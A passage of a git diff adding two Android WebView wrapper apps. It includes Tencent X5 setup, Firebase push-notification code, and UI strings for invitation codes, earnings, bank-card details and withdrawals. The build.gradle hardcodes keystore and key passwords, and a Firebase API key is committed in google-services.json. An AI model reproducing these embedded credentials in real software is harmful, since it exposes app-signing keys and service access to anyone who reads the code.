b/dstest/src/main/java/com/web/dstest/WebApplication.java new file mode 100644 index 0000000..c843495 --- /dev/null +++ b/dstest/src/main/java/com/web/dstest/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.dstest; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/dstest/src/main/res/drawable-anydpi/ic_action_back.xml b/dstest/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/dstest/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/dstest/src/main/res/drawable-hdpi/ic_action_back.png b/dstest/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/dstest/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/dstest/src/main/res/drawable-mdpi/ic_action_back.png b/dstest/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/dstest/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/dstest/src/main/res/drawable-v24/ic_launcher_foreground.xml b/dstest/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/dstest/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/dstest/src/main/res/drawable-xhdpi/ic_action_back.png b/dstest/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/dstest/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/dstest/src/main/res/drawable-xxhdpi/ic_action_back.png b/dstest/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/dstest/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/dstest/src/main/res/drawable/big_bg.xml b/dstest/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..6e40ecd --- /dev/null +++ b/dstest/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/dstest/src/main/res/drawable/ic_launcher_background.xml b/dstest/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/dstest/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/dstest/src/main/res/drawable/input_bg.xml b/dstest/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/dstest/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/dstest/src/main/res/drawable/pass_word_bg.xml b/dstest/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/dstest/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/dstest/src/main/res/drawable/pass_word_bg1.xml b/dstest/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/dstest/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/dstest/src/main/res/drawable/pass_word_bg2.xml b/dstest/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/dstest/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/dstest/src/main/res/drawable/shape_btn_bg.xml b/dstest/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/dstest/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/dstest/src/main/res/drawable/shape_dialog_bg2.xml b/dstest/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/dstest/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/dstest/src/main/res/drawable/shape_dialog_bg3.xml b/dstest/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/dstest/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/dstest/src/main/res/drawable/shape_dialog_bg_new.xml b/dstest/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/dstest/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/dstest/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/dstest/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/dstest/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/dstest/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/dstest/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/dstest/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/dstest/src/main/res/mipmap-hdpi/ic_empty.png b/dstest/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/dstest/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/dstest/src/main/res/mipmap-hdpi/ic_pull_down.png b/dstest/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/dstest/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/dstest/src/main/res/mipmap-xhdpi/ic_close.png b/dstest/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/dstest/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/dstest/src/main/res/mipmap-xhdpi/ic_menu.png b/dstest/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/dstest/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/dstest/src/main/res/mipmap-xxhdpi/app_logo.png b/dstest/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..b948f88 Binary files /dev/null and b/dstest/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/dstest/src/main/res/mipmap-xxhdpi/app_logo1.png b/dstest/src/main/res/mipmap-xxhdpi/app_logo1.png new file mode 100644 index 0000000..37d334f Binary files /dev/null and b/dstest/src/main/res/mipmap-xxhdpi/app_logo1.png differ diff --git a/dstest/src/main/res/values-en/strings.xml b/dstest/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/dstest/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/dstest/src/main/res/values-night/themes.xml b/dstest/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/dstest/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/dstest/src/main/res/values/colors.xml b/dstest/src/main/res/values/colors.xml new file mode 100644 index 0000000..0de506d --- /dev/null +++ b/dstest/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #bebebe + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/dstest/src/main/res/values/strings.xml b/dstest/src/main/res/values/strings.xml new file mode 100644 index 0000000..2cccf0d --- /dev/null +++ b/dstest/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + TEST + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/dstest/src/main/res/values/themes.xml b/dstest/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/dstest/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/dstest/src/main/res/xml/app_updater_paths.xml b/dstest/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/dstest/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/dstest/src/main/res/xml/network_security_config.xml b/dstest/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/dstest/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/dstest/src/main/res/xml/provider_paths.xml b/dstest/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/dstest/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/dstest/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/dstest/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/dstest/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/easycuci/.gitignore b/easycuci/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/easycuci/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/easycuci/build.gradle b/easycuci/build.gradle new file mode 100644 index 0000000..3751afb --- /dev/null +++ b/easycuci/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.easycuci" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "easycuci" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/easycuci/dskjweb.jks b/easycuci/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/easycuci/dskjweb.jks differ diff --git a/easycuci/google-services.json b/easycuci/google-services.json new file mode 100644 index 0000000..6a0e6e7 --- /dev/null +++ b/easycuci/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "801774802129", + "project_id": "easycuci-1806a", + "storage_bucket": "easycuci-1806a.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:801774802129:android:babfa3df2177d5fbe361f0", + "android_client_info": { + "package_name": "com.web.easycuci" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCoFwOeNvJrI4S2kl4Vb3R9on1aK4ZXoEE" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/easycuci/ppn.jks b/easycuci/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/easycuci/ppn.jks differ diff --git a/easycuci/proguard-rules.pro b/easycuci/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/easycuci/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/easycuci/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/easycuci/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/easycuci/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/easycuci/src/main/AndroidManifest.xml b/easycuci/src/main/AndroidManifest.xml new file mode 100644 index 0000000..028cbe4 --- /dev/null +++ b/easycuci/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/easycuci/src/main/java/com/web/easycuci/MainActivity.java b/easycuci/src/main/java/com/web/easycuci/MainActivity.java new file mode 100644 index 0000000..308ad98 --- /dev/null +++ b/easycuci/src/main/java/com/web/easycuci/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.easycuci; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 184; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://easycuci.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#005d0c"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#009719"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/easycuci/src/main/java/com/web/easycuci/MyFirebaseMessageingService.java b/easycuci/src/main/java/com/web/easycuci/MyFirebaseMessageingService.java new file mode 100644 index 0000000..2a197a4 --- /dev/null +++ b/easycuci/src/main/java/com/web/easycuci/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.easycuci; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/easycuci/src/main/java/com/web/easycuci/WebApplication.java b/easycuci/src/main/java/com/web/easycuci/WebApplication.java new file mode 100644 index 0000000..9c3db46 --- /dev/null +++ b/easycuci/src/main/java/com/web/easycuci/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.easycuci; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/easycuci/src/main/res/drawable-anydpi/ic_action_back.xml b/easycuci/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/easycuci/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/easycuci/src/main/res/drawable-hdpi/ic_action_back.png b/easycuci/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/easycuci/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/easycuci/src/main/res/drawable-mdpi/ic_action_back.png b/easycuci/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/easycuci/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/easycuci/src/main/res/drawable-v24/ic_launcher_foreground.xml b/easycuci/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/easycuci/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/easycuci/src/main/res/drawable-xhdpi/ic_action_back.png b/easycuci/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/easycuci/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/easycuci/src/main/res/drawable-xxhdpi/ic_action_back.png b/easycuci/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/easycuci/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/easycuci/src/main/res/drawable/big_bg.xml b/easycuci/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..d486b3c --- /dev/null +++ b/easycuci/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/easycuci/src/main/res/drawable/ic_launcher_background.xml b/easycuci/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/easycuci/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/easycuci/src/main/res/drawable/input_bg.xml b/easycuci/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/easycuci/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/easycuci/src/main/res/drawable/pass_word_bg.xml b/easycuci/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/easycuci/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/easycuci/src/main/res/drawable/pass_word_bg1.xml b/easycuci/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/easycuci/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/easycuci/src/main/res/drawable/pass_word_bg2.xml b/easycuci/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/easycuci/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/easycuci/src/main/res/drawable/shape_btn_bg.xml b/easycuci/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/easycuci/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/easycuci/src/main/res/drawable/shape_dialog_bg2.xml b/easycuci/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/easycuci/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/easycuci/src/main/res/drawable/shape_dialog_bg3.xml b/easycuci/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ 